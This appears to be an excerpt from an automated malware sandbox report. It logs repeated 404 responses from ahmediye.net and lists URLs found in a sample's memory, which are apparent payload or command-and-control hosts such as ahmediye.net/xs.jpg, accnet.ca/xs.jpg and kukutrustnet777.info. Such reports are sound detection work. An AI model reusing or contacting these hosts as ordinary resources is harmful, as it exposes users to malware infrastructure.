Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:04:16 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:04:20 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:04:24 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:04:29 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:04:33 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:04:38 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:04:42 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:04:47 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:04:51 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:04:55 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
Source: YMZwp.exe, 00000009.00000002.1355833227.0000000000B33000.00000002.00000001.01000000.00000005.sdmp, YMZwp.exe, 00000009.00000003.1281847321.0000000000A50000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://%s:%d/%s/%sZwQuerySystemInformationntdll.dllNtSystemDebugControlSeDebugPrivilege%s%.8x.bat:DE
Source: cscript.exe, 00000027.00000002.3814434317.0000000004A33000.00000004.10000000.00040000.00000000.sdmp String found in binary or memory: http://173.193.19.14/logo.gif
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3795163173.00000000024A0000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: http://89.119.67.154/testo5/
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3795163173.00000000024A0000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: http://89.119.67.154/testo5/http://kukutrustnet777.info/home.gifhttp://kukutrustnet888.info/home.gif
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3842902328.00000000046D3000.00000004.10000000.00040000.00000000.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000003.1281486806.0000000000870000.00000004.00000020.00020000.00000000.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3790167124.000000000240E000.00000004.00000010.00020000.00000000.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3762604592.0000000000641000.00000040.00000001.01000000.00000004.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000003.1281602249.00000000008C7000.00000004.00000020.00020000.00000000.sdmp, cscript.exe, 00000027.00000002.3814434317.0000000004A33000.00000004.10000000.00040000.00000000.sdmp String found in binary or memory: http://a3inforservice.com.br/images/logof.gif
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3842902328.00000000046D3000.00000004.10000000.00040000.00000000.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000003.1281486806.0000000000870000.00000004.00000020.00020000.00000000.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3790167124.000000000240E000.00000004.00000010.00020000.00000000.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3762604592.0000000000641000.00000040.00000001.01000000.00000004.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000003.1281602249.00000000008C7000.00000004.00000020.00020000.00000000.sdmp, cscript.exe, 00000027.00000002.3814434317.0000000004A33000.00000004.10000000.00040000.00000000.sdmp String found in binary or memory: http://accnet.ca/xs.jpg
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3842902328.00000000046D3000.00000004.10000000.00040000.00000000.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000003.1281486806.0000000000870000.00000004.00000020.00020000.00000000.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3790167124.000000000240E000.00000004.00000010.00020000.00000000.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3762604592.0000000000641000.00000040.00000001.01000000.00000004.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000003.1281602249.00000000008C7000.00000004.00000020.00020000.00000000.sdmp, cscript.exe, 00000027.00000002.3814434317.0000000004A33000.00000004.10000000.00040000.00000000.sdmp String found in binary or memory: http://accnet.ca/xs.jpghttp://a3inforservice.com.br/images/logof.gif
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3842902328.00000000046D3000.00000004.10000000.00040000.00000000.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3790167124.0000000002408000.00000004.00000010.00020000.00000000.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3812391802.00000000039CC000.00000004.00000010.00020000.00000000.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000003.1281486806.0000000000870000.00000004.00000020.00020000.00000000.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3790167124.000000000240E000.00000004.00000010.00020000.00000000.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3795163173.0000000002495000.00000040.00001000.00020000.00000000.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3762604592.0000000000641000.00000040.00000001.01000000.00000004.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000003.1281602249.00000000008C7000.00000004.00000020.00020000.00000000.sdmp, cscript.exe, 00000027.00000002.3814434317.0000000004A33000.00000004.10000000.00040000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3777235746.00000000008CE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg?1209c47=37828750
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3777235746.00000000008CE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg?1786b5d7=1578817372
Source: dllhost.exe, 0000000C.00000003.3162488836.0000029948E25000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg?334f6b3c=870089576
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3777235746.00000000008CE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg?34f3b0d=3886687631
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg?3fc8f944=1041285988
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg?3fc8f944=1041285988j
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AF5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg?5a80b326=-737830608
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AF5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg?6582b518=-1852285480
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg?71a0be=14893436
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3777235746.00000000008CE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg?71a0be=14893436q
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AF5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg?787713d7=1515414323
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AF5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg?7dfe147e=-67360516=
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg?8effb8fc=117276892
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg?8effb8fc=117276892f
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3777235746.00000000008CE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg?972d623=951125202
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg?9a7e303d=-814051145
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg?9a7e303d=-814051145H
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AF5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg?a4a56c66=-1532662682
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AF5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg?a9f1e262=1407435972
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AF5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg?baaa592=1761595938
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg?d1cd8e49=1614413969
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AF5000.00000004.00000020.00020000.00000000.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg?d6d21078=-2072628888
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AF5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg?ef46a9a2=-1402908630
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AF5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg?ef46a9a2=-14029086306
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg?f3a2ce17=-2074342170
